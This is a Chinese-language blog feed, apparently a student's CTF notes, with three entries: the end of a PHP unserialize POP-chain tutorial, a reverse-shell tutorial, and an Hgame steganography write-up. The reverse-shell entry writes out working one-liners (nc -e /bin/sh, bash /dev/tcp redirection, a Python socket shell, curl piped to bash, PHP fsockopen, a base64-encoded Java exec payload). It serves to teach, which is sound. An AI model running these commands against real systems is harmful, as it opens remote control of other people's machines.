class="class"><span class="keyword">class</span> <span class="title">Start</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$name</span>=<span class="string">&#x27;guest&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$flag</span>=<span class="string">&#x27;syst3m(&quot;cat 127.0.0.1/etc/hint&quot;);&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Info</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$phonenumber</span>=<span class="number">123123</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$promise</span>=<span class="string">&#x27;I do&#x27;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;promise=<span class="string">&#x27;I will not !!!!&#x27;</span>;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">$this</span>-&gt;promise;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Room</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$filename</span>=<span class="string">&#x27;/flag&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$sth_to_set</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$a</span>=<span class="string">&#x27;&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> <span class="title class_">Start</span>();</span><br><span class="line"><span class="variable">$b</span> = <span class="keyword">new</span> <span class="title class_">Info</span>();</span><br><span class="line"><span class="variable">$c</span> = <span class="keyword">new</span> <span class="title class_">Room</span>();</span><br><span class="line"><span class="variable">$d</span> = <span class="keyword">new</span> <span class="title class_">Room</span>();</span><br><span class="line"><span class="variable">$a</span> -&gt; name = <span class="variable">$b</span>;</span><br><span class="line"><span class="variable">$b</span> -&gt; file[<span class="string">&#x27;filename&#x27;</span>] = <span class="variable">$c</span>;</span><br><span class="line"><span class="variable">$c</span> -&gt; a = <span class="variable">$d</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">urlencode</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$a</span>));</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></div><p>在构建 pop 链时，除 <code>__construct</code>  函数一般不需要写出，   变量的权限与源码保持一致，在串联对象时，需要与源码的对应关系保持一致，比如： <code>$b -&gt; file['filename'] = $c;</code></p><p>————END————</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;php-unserialize&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#php-unserialize&quot;&gt;#&lt;/a&gt; PHP Unserialize&lt;/h1&gt;
&lt;h2 id=&quot;什么是序列化和反序列化&quot;&gt;&lt;a class=&quot;mark</summary>
      
    
    
    
    <category term="Web Vulnerabilities" scheme="http://example.com/categories/Web-Vulnerabilities/"/>
    
    
  </entry>
  
  <entry>
    <title>Reverse shell</title>
    <link href="http://example.com/2024/04/09/Reverse-shell/"/>
    <id>http://example.com/2024/04/09/Reverse-shell/</id>
    <published>2024-04-09T04:29:05.000Z</published>
    <updated>2024-08-28T06:47:17.915Z</updated>
    
    <content type="html"><![CDATA[<h1 id="反弹shell"><a class="markdownIt-Anchor" href="#反弹shell">#</a> 反弹 shell</h1><h2 id="反弹shell-2"><a class="markdownIt-Anchor" href="#反弹shell-2">#</a> 反弹 shell</h2><h3 id="linux环境下常用网络工具"><a class="markdownIt-Anchor" href="#linux环境下常用网络工具">#</a> linux 环境下常用网络工具</h3><h4 id="ncnetcat"><a class="markdownIt-Anchor" href="#ncnetcat">#</a> nc(netcat)</h4><p>参数说明</p><pre><code>nc.exe -h 即可看到各参数的使用方法。基本格式：nc [-options] hostname port[s] [ports] ...nc -l -p port [options] [hostname] [port]-d          后台模式-e          程序重定向，一旦连接，就执行 [危险!!]-g gateway  source-routing hop point[s], up to 8    设置路由器跃程通信网关，最多可设置8个。-G num      source-routing pointer: 4, 8, 12, ...   设置来源路由指向器，其数值为4的倍数。-h          帮助信息-i secs     延时的间隔-l          监听模式，用于入站连接 (监听本地端口)-L          连接关闭后,仍然继续监听-n          指定数字的IP地址，不能用hostname。即直接使用IP地址，而不通过域名服务器。-o file     指定文件名称，把往来传输的数据以16进制字码倾倒成该文件保存。-p port     本地端口号 (指定本地端口 )-r          随机本地及远程端口-s addr     本地源地址-t          使用TELNET交互方式(用telnet来回应 )-u          UDP模式-v          详细输出--用两个-v( -vv)可得到更详细的内容. 获得端口信息-w secs     timeout的时间-z          将输入输出关掉--只用于扫描. 端口的表示方法可写为M-N的范围格式。</code></pre><p>连接远程主机</p><p>​ <code>nc -nvv Target_ip Target_port</code></p><p>监听本地主机</p><p>​ <code>nc -l -p Local_port</code></p><p>端口扫描</p><p>​ <code>nc -v Target_ip Target_port #可指定范围</code></p><p>端口监听</p><p>​ <code>nc -l -p Local_port</code></p><p>远程文件传输</p><p>​ <code>nc Target_ip Target_port &lt; Target_File</code></p><p>模拟 HTTP headers</p><pre><code>[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browserHTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]echo -n &quot;GET / HTTP/1.0&quot;r&quot;n&quot;r&quot;n&quot; | nc host.example.com 80连接到主机并执行</code></pre><p>正向 shell，反向 shell</p><h4 id="curl"><a class="markdownIt-Anchor" href="#curl">#</a> curl</h4><p>HTTP 命令行工具，支持文件的上传和下载，是综合传输工具</p><p>发送 GET 请求</p><p>​ <code>curl URL?a=1&amp;b=nihao</code></p><p>发送 POST 请求</p><p>​ <code>curl -X POST -d 'a=1&amp;b=nihao' URL</code></p><p>发送 json 格式请求</p><p>​ <code>curl -H &quot;Content-type: application?json&quot; -X POST -d '&#123;&quot;abc&quot;:123.&quot;bcd&quot;:&quot;nihao&quot;&#125;' URL</code></p><p>​ <code>curl -H &quot;Content-Type: application/json&quot; -X POST -d @test.json URL</code></p><h5 id="1-下载option-o或者option-o"><a class="markdownIt-Anchor" href="#1-下载option-o或者option-o">#</a> 1、下载 (option:-o 或者 option:-O)</h5><p>1.1、下载页面：</p><p><code>curl -o dodo1.jpg http:www.linux.com/dodo1.JPG</code> <br># 要注意 - O 这里后面的 url 要具体到某个文件，不然抓不下来<br> <code>curl -O http://www.linux.com/dodo1.JPG</code></p><p>1.2：循环下载<br>有时候下载图片可以能是前面的部分名称是一样的，就最后的尾椎名不一样。这样就会把 dodo1，dodo2，dodo3，dodo4，dodo5 全部保存下来<br> <code>curl -O http://www.linux.com/dodo[1-5].JPG</code></p><p>1.3：下载重命名<br>在 hello/dodo1.JPG 的文件下载下来就会变成 hello_dodo1.JPG, 其他文件依此类推，从而有效的避免了文件被覆盖<br> <code>curl -o #1_#2.JPG http://www.linux.com/&#123;hello,bb&#125;/dodo[1-5].JPG</code></p><p>由于下载的 hello 与 bb 中的文件名都是 dodo1，dodo2，dodo3，dodo4，dodo5。因此第二次下载的会把第一次下载的覆盖，这样就需要对文件进行重命名。<br> <code>curl -O http://www.linux.com/&#123;hello,bb&#125;/dodo[1-5].JPG</code></p><p>1.4：分块下载 (option：-r)</p><p><code>curl -r 0-100 -o dodo1_part1.JPG http://www.linux.com/dodo1.JPG curl -r 100-200 -o dodo1_part2.JPG http://www.linux.com/dodo1.JPG curl -r 200- -o dodo1_part3.JPG http://www.linux.com/dodo1.JPG</code> <br> <code>cat dodo1_part* &gt; dodo1.JPG </code></p><p>#这样就可以查看 dodo1.JPG 的内容了</p><p>1.5：通过 ftp（文件传输协议）下载文件 (option：-u)<br> curl 可以通过 ftp 下载文件，curl 提供两种从 ftp 中下载的语法<br> <code>curl -O -u 用户名:密码 ftp://www.linux.com/dodo1.JPG</code> <br> <code>curl -O ftp://用户名:密码@www.linux.com/dodo1.JPG</code></p><p>1.6: 下载，显示进度条 (option：-#) 或不显示进度条 (option：-s)<br> <code>curl -# -O http://www.linux.com/dodo1.JPG  </code> <br> <code>curl -s -O http://www.linux.com/dodo1.JPG</code></p><p>1.7、下载，断点续传 (-C <offset>)<br> 断点续转，从文件头的指定位置开始继续下载 / 上传；offset 续传开始的位置，如果 offset 值为 “-”，curl 会自动从文件中识别起始位置开始传输；<br> <code>curl -# -o centos6.8.iso -C - http://mirrors.aliyun.com/centos/6.8/isos/x86_64/CentOS-6.8-x86_64-minimal.iso</code> <br> <code>curl -C -O http://www.linux.com/dodo1.JPG</code></offset></p><h5 id="2-上传文件option-t"><a class="markdownIt-Anchor" href="#2-上传文件option-t">#</a> 2、上传文件 (option:-T)</h5><p><code>curl -T dodo1.JPG -u 用户名:密码 ftp://www.linux.com/img/</code></p><h5 id="3-伪造来源页面伪造referer盗链-option-e"><a class="markdownIt-Anchor" href="#3-伪造来源页面伪造referer盗链-option-e">#</a> 3、伪造来源页面 | 伪造 referer | 盗链 (option：-e)</h5><p>很多服务器会检查 http 访问的 referer 从而来控制访问。比如：你是先访问首页，然后再访问首页中的邮箱页面，这里访问邮箱的 referer 地址就是访问首页成功后的页面地址，如果服务器发现对邮箱页面访问的 referer 地址不是首页的地址，就断定那是个盗连了<br> #这样就会让服务器其以为你是从 www.linux.com 点击某个链接过来的<br> <code>curl -e &quot;www.linux.com&quot; http://mail.linux.com</code> <br># 告诉爱 E 族，我是从百度来的<br> <code>curl -e http://baidu.com http://aiezu.com</code></p><h5 id="4-伪造代理设备模仿浏览器"><a class="markdownIt-Anchor" href="#4-伪造代理设备模仿浏览器">#</a> 4、伪造代理设备 (模仿浏览器)</h5><p>有些网站需要使用特定的浏览器去访问他们，有些还需要使用某些特定的版本。curl 内置 option:-A 可以让我们指定浏览器去访问网站<br> <code>curl -A &quot;Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.0)&quot; http://www.linux.com</code> <br># 告诉爱 E 族，我是 GOOGLE 爬虫蜘蛛（其实我是 curl 命令）<br> <code>curl -A &quot; Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&quot; http://aiezu.com</code> <br># 告诉爱 E 族，我用的是微信内置浏览器<br> <code>curl -A &quot;Mozilla/5.0 AppleWebKit/600 Mobile MicroMessenger/6.0&quot; http://aiezu.com</code></p><h5 id="5-设置http请求"><a class="markdownIt-Anchor" href="#5-设置http请求">#</a> 5、设置 http 请求</h5><p>5.1、设置 http 请求头 (或 option:-H 或 option:–head)<br> <code>curl -H &quot;Cache-Control:no-cache&quot;  http://aiezu.com</code></p><p>5.2、指定 proxy 服务器以及其端口 (option::-x)<br># 很多时候上网需要用到代理服务器 (比如是使用代理服务器上网或者因为使用 curl 别人网站而被别人屏蔽 IP 地址的时候)，幸运的是 curl 通过使用内置 option：-x 来支持设置代理<br> <code>curl -x 192.168.100.100:1080 http://www.linux.com</code></p><h5 id="6-http响应头"><a class="markdownIt-Anchor" href="#6-http响应头">#</a> 6、http 响应头</h5><p>6.1、查看 http 响应头 (option:-I)<br># 看看本站的 http 头是怎么样的<br> <code>curl -I  http://aiezu.com</code> <br> 输出：<br>HTTP/1.1 200 OK<br>Date: Fri, 25 Nov 2016 16:45:49 GMT<br>Server: Apache<br>Set-Cookie: rox__Session=abdrt8vesprhnpc3f63p1df7j4; path=/<br>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br>Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br>Pragma: no-cache<br>Vary: Accept-Encoding<br>Content-Type: text/html; charset=utf-8</p><p>6.2、保存 http 的 response 里面的 header 信息 (option:-D)<br> <code>curl -D cookied.txt http://www.linux.com</code> <br> 执行后 cookie 信息就被存到了 cookied.txt 里面了<br>注意：-c (小写) 产生的 cookie 和 - D 里面的 cookie 是不一样的。</p><h5 id="7-发送表单数据"><a class="markdownIt-Anchor" href="#7-发送表单数据">#</a> 7、发送表单数据</h5><p><code>curl -F &quot;pic=@logo.png&quot; -F &quot;site=aiezu&quot;  http://aiezu.com/</code></p><h5 id="8-cookie"><a class="markdownIt-Anchor" href="#8-cookie">#</a> 8、cookie</h5><p>8.1、发送 cookie (option:-b）<br># 有些网站是使用 cookie 来记录 session 信息。对于 chrome 这样的浏览器，可以轻易处理 cookie 信息，但在 curl 中只要增加相关参数也是可以很容易的处理 cookie<br> <code>curl -b &quot;domain=aiezu.com&quot;  http://aiezu.com</code> <br># 很多网站都是通过监视你的 cookie 信息来判断你是否按规矩访问他们的网站的，因此我们需要使用保存的 cookie 信息。内置 option: -b<br> <code>curl -b cookiec.txt http://www.linux.com</code></p><p>8.2、保存 http 的 response 里面的 cookie 信息 (option:-c）<br>执行后 http 的 response 里面的 cookie 信息就被存到了 cookiec.txt 里面了<br> <code>curl -c cookiec.txt  http://www.linux.com</code></p><h4 id="wget"><a class="markdownIt-Anchor" href="#wget">#</a> wget</h4><p>wget 是一个下载文件的工具，它用在命令行下。对于 Linux 用户是必不可少的工具，我们经常要下载一些软件或从远程服务器恢复备份到本地服务器。</p><p><code>wget URL</code></p><h5 id="与curl区别"><a class="markdownIt-Anchor" href="#与curl区别">#</a> 与 curl 区别</h5><p>wget 是个专职的下载利器，简单，专一，极致；而 curl 可以下载，但是长项不在于下载，而在于模拟提交 web 数据，POST/GET 请求，调试网页，等等。在下载上，也各有所长，wget 可以递归，支持断点；而 curl 支持 URL 中加入变量，因此可以批量下载。个人用途上，我经常用 wget 来下载文件，加 -c 选项不怕断网；使用 curl 来跟网站的 API 交互，简便清晰。</p><h4 id="ping"><a class="markdownIt-Anchor" href="#ping">#</a> ping</h4><p>ping 命令本身处于应用层，相当于一个应用程序，它直接使用网络层的 ICMP 协议，ping 用来检查网络是否通畅或者网络连接速度的命令。</p><h4 id="talent"><a class="markdownIt-Anchor" href="#talent">#</a> talent</h4><p>telnet 协议是 TCP/IP 协议族的其中之一，是 Internet 远端登录服务的标准协议和主要方式，常用于网页服务器的远端控制，可供使用者在本地主机执行远端主机上的工作。telnet 通常是用来探测指定 ip 是否开放指定端口。</p><p>open : 使用 openhostname 可以建立到主机的 Telnet 连接。</p><p>close : 使用命令 close 命令可以关闭现有的 Telnet 连接。</p><p>display : 使用 display 命令可以查看 Telnet 客户端的当前设置。</p><p>send : 使用 send 命令可以向 Telnet 服务器发送命令。支持以下命令：</p><p>ao : 放弃输出命令。</p><p>ayt : “Are you there” 命令。</p><p>esc : 发送当前的转义字符。</p><p>ip : 中断进程命令。</p><p>synch : 执行 Telnet 同步操作。</p><p>brk : 发送信号。quit ：使用 quit 命令可以退出 Telnet 客户端。</p><h4 id="ssh"><a class="markdownIt-Anchor" href="#ssh">#</a> ssh</h4><p>简单来说，ssh 和 telnet 是实现相同的功能，ssh 中 数据是经过加密的，是安全的，而 Telnet 是明文传输的，ssh 是加密的，基于 SSL 。</p><h3 id="正向shell如何连接"><a class="markdownIt-Anchor" href="#正向shell如何连接">#</a> 正向 shell 如何连接</h3><p>假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标 ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面、web 服务、ssh、telnet 等等都是正向连接。</p><p>目标主机： <code>nc -lvp Target_port -e /bin/sh</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/09/BuPk7DwXMoHmEl3.png" alt="image.png"></p><p>本地主机：  <code>nc Target_ip Target_port</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/09/a9okGwVWhypUD4m.png" alt="image.png"></p><h3 id="什么是反弹shell"><a class="markdownIt-Anchor" href="#什么是反弹shell">#</a> 什么是反弹 shell</h3><p>参考：<a class="link" href="https://xz.aliyun.com/t/9488">https://xz.aliyun.com/t/9488 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>反弹 shell（reverse shell），就是控制端监听在某 TCP/UDP 端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell 与 telnet，ssh 等标准 shell 对应，本质上是网络概念的客户端与服务端的角色反转。</p><p>举例：假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标 ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面、web 服务、ssh、telnet 等等都是正向连接。那么什么情况下正向连接不能用了呢？</p><p>有如下情况：</p><p>1. 某客户机中了你的网马，但是它在局域网内，你直接连接不了。</p><p>2. 目标机器的 ip 动态改变，你不能持续控制。</p><p>3. 由于防火墙等限制，对方机器只能发送请求，不能接收请求。</p><p>4. 对于病毒，木马，受害者什么时候能中招，对方的网络环境是什么样的，什么时候开关机等情况都是未知的，所以建立一个服务端让恶意程序主动连接，才是上策。</p><p>那么反弹就很好理解了，攻击者指定服务端，受害者主机主动连接攻击者的服务端程序，就叫反弹连接。</p><p>反弹 shell 的方式有很多，那具体要用哪种方式还需要根据目标主机的环境来确定，比如目标主机上如果安装有 netcat，那我们就可以利用 netcat 反弹 shell，如果具有 python 环境，那我们可以利用 python 反弹 shell。如果具有 php 环境，那我们可以利用 php 反弹 shell。</p><h3 id="反弹shell的方式"><a class="markdownIt-Anchor" href="#反弹shell的方式">#</a> 反弹 shell 的方式</h3><h4 id="netcat"><a class="markdownIt-Anchor" href="#netcat">#</a> netcat</h4><p>攻击机开启监听：  <code>nc -lvp Target_port</code></p><p>-lvp：l 监听，v 输出交互过程，p 端口</p><p>靶机连接攻击机：  <code>nc Target_ip Target_port -e /bin/bash</code></p><h4 id="bash"><a class="markdownIt-Anchor" href="#bash">#</a> bash</h4><p>Bash 反弹 shell 的方法非常好用，题目的服务器环境可能没有 nc, 但是一定会有 bash</p><p>同样的我们还是用 nc -lvp Target_Port 在攻击机的端口开启监听</p><p><code>nc -lvp Target_Port</code></p><p>这次我们使用 Bash 结合重定向来反弹 shell</p><p><code>bash -i &gt;&amp; /dev/tcp/Target_ip/Target_port 0&gt;&amp;1</code></p><p>或者  <code>bash -c &quot;bash -i &gt;&amp; /dev/tcp/Target_ip/Target_port 0&gt;&amp;1&quot;</code></p><p>推荐使用后者，使用前者弹 shell, 当命令在服务端 shell 中执行时可能存在 /bin/sh 的软连接并不指向 bash 的问题，导致报错 <code>/bin/sh: 1:Syntax error:Bad fd number</code></p><p>bash -i 产生 bash 交互环境 &gt;&amp; 将联合符号前后内容结合，重定向给后者，/dev/tcp/Target_IP/Target_Port 让目标主机发起与攻击机在 Target_Port 上的 TCP 连接，0&gt;&amp;1 将标准输入和标准输出的内容相结合，重定向给前面标准输出的内容。</p><p>Bash 产生了一个交互环境和本地主机主动发起与攻击机端口建立的连接相结合，然后在重定向个 TCP 会话连接，最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出，即得到一个 Bash 反弹环境。</p><p>[关于上述 bash 命令的详细解释](<a class="link" href="https://www.cnblogs.com/pandana/p/16289320.html">反弹 bash shell 命令详解 - pandaes - 博客园 (cnblogs.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>)</p><h4 id="pythion反弹shell"><a class="markdownIt-Anchor" href="#pythion反弹shell">#</a> Pythion 反弹 shell</h4><p>同样的我们还是在攻击机开始端口监听， <code>nc -lvp Target_Port</code></p><p>在靶机上执行 <code>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;Target_IP&quot;,Target_Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);'</code></p><h4 id="curl反弹shell"><a class="markdownIt-Anchor" href="#curl反弹shell">#</a> curl 反弹 shell</h4><p>简单来说就是将 Bash 重定向这一句内容写入文件，让靶机用 curl 下载这个文件并且执行，达到用 Bash 重定向相同的效果</p><p>首先，在攻击者 vps 的 web 目录里面创建一个 index 文件（index.php 或 index.html），内容如下：</p><p><code>bash -i &gt;&amp; /dev/tcp/Target_IP/Target_Port 0&gt;&amp;1</code>  或者 <code>bash -c &quot;bash -i &gt;&amp; /dev/tcp/Target_IP/Target_Port 0&gt;&amp;1&quot;</code> ，而 java 的 RCE 需要用 base64 编码，Payload: <code>Runtime.getRuntime().exec(&quot;bash -c &#123;echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=&#125;|&#123;base64,-d&#125;|&#123;bash,-i&#125;&quot;);</code></p><p>然后在目标机上执行如下，即可反弹 shell</p><p><code>curl Target_IP|bash</code></p><h4 id="php反弹shell"><a class="markdownIt-Anchor" href="#php反弹shell">#</a> php 反弹 shell</h4><p>攻击机：  <code>nc -nvlp Target_port</code></p><p>靶机：  <code>php -r '$sock=fsockopen(&quot;192.168.37.131&quot;,1234);     exec(&quot;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);</code></p><h4 id="others"><a class="markdownIt-Anchor" href="#others">#</a> <strong>Others</strong></h4><p>反弹 shell 的方式很多，nc 和 bash 是比较常见的方式，其他还有 Telnet，Socat 等工具可以反弹 shell，或者写个 python，php 等脚本也可以反弹 shell，比较琐碎的内容具体遇到了再查即可。</p><p>————END————</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;反弹shell&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#反弹shell&quot;&gt;#&lt;/a&gt; 反弹 shell&lt;/h1&gt;
&lt;h2 id=&quot;反弹shell-2&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#反弹s</summary>
      
    
    
    
    <category term="Web Vulnerabilities" scheme="http://example.com/categories/Web-Vulnerabilities/"/>
    
    
  </entry>
  
  <entry>
    <title>Hgame FINAL WP</title>
    <link href="http://example.com/2024/04/06/Hgame-FINAL-WP/"/>
    <id>http://example.com/2024/04/06/Hgame-FINAL-WP/</id>
    <published>2024-04-06T05:09:37.000Z</published>
    <updated>2024-07-04T15:18:41.194Z</updated>
    
    <content type="html"><![CDATA[<h1 id="hgame-final-wp"><a class="markdownIt-Anchor" href="#hgame-final-wp">#</a> Hgame FINAL WP</h1><h3 id="author-fc04db"><a class="markdownIt-Anchor" href="#author-fc04db">#</a> author: Fc04dB</h3><h4 id="1看不见的字"><a class="markdownIt-Anchor" href="#1看不见的字">#</a> 1. 看不见的字</h4><p>题目提示 npm install zero-width-lib , 网上搜了一下，是零宽字符隐藏文本加密（npm 没有研究，最后发现也没用到），翻了很多文章，找到一个在线解密的网站:</p><pre><code>https://yuanfux.github.io/zero-width-web/</code></pre><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/06/5o1U97eAqYQismD.png" alt="image-5.png"></p><p>直接得到 flag</p><p>顺便贴一张其他人写的脚本</p><pre><code>import * as z from 'zero-width-lib';// 这是要解密的字符串，包含零宽度字符const encodedString = 'h\uFEFF\u200E\uFEFF\u200B\uFEFF\u200E\u200D\u200B\u200D\uFEFF\u200C\u200B\uFEFF\u200F\uFEFF\u200B\uFEFF\u200E\u200F\u200B\uFEFF\uFEFF\u200D\u200B\uFEFF\u200D\uFEFF\u200B\u200C\u200E\u200F\u200B\uFEFF\u200F\u200D\u200B\u200D\uFEFF\uFEFF\u200B\u200F\uFEFF\u200D\u200B\uFEFF\u200F\uFEFF\u200B\uFEFF\u200E\u200F\u200B\u200D\uFEFF\u200E\u200B\uFEFF\u200E\uFEFF\u200B\uFEFF\u200E\u200D\u200B\u200D\uFEFF\u200C\u200B\uFEFF\u200F\uFEFF\u200B\uFEFF\u200E\u200F\u200B\u200D\uFEFF\u200E\u200B\uFEFF\u200E\u200C\u200B\u200F\uFEFF\uFEFF\u200B\uFEFF\u200C\u200E\u200B\u200C\u200E\u200C\u200B\uFEFF\u200F\u200D\u200B\u200F\u200E\u200E\u200Eello';// 使用zero-width-lib的decode方法来解密字符串const decoded = z.decode(encodedString);console.log(decoded);</code></pre><h4 id="2逮虾户"><a class="markdownIt-Anchor" href="#2逮虾户">#</a> 2. 逮虾户</h4><p>附件一个 dmg 文件是 moc 系统磁盘文件，7z 直接提取，一个需要密码的压缩包，一个 png 文件，密码应该就在 png 文件里，然后用 binwalk,foremost,stegsolve,zsteg，好多工具都找不到隐写内容，后来在学长的提示下是 piet 编程语言，然后下载 npiet 执行文件得到密码</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/06/G8mMqgDk1SsWvZY.png" alt="image-1.png"></p><p>打开 7z 文件，是一个逮虾户歌曲，尝试 MP3 隐写的解题方法，一无所获，再次请教学长，<br>信息在歌词里，想着把歌词提取出来，最后利用 elisa 播放器找到 passward</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/06/LNGMryJA8k6wZ1P.png" alt="image-2.png"></p><pre><code>q:UVmoa,Qo^Dp.D9e#wsFUm059mhNT</code></pre><p>诶？长得也不像 flag，然后学长提醒有一个 zip 文件没找到，用 binwalk 处理那个 MP3 文件，提取到 zip 文件</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/06/cOj7TSAnlZ6RYoe.png" alt="image-3.png"></p><p>打开之后是一个 jdvu 文件，记事本打不开，百度，要下载 windjview，然后就可以看到 flag</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/06/v6Ft4xIYHSd7LAk.png" alt="image-4.png"></p><pre><code>Hgame&#123;d3j45_i_kn0w&#125;</code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;hgame-final-wp&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#hgame-final-wp&quot;&gt;#&lt;/a&gt; Hgame FINAL WP&lt;/h1&gt;
&lt;h3 id=&quot;author-fc04db&quot;&gt;&lt;a class=&quot;markd</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
</feed>
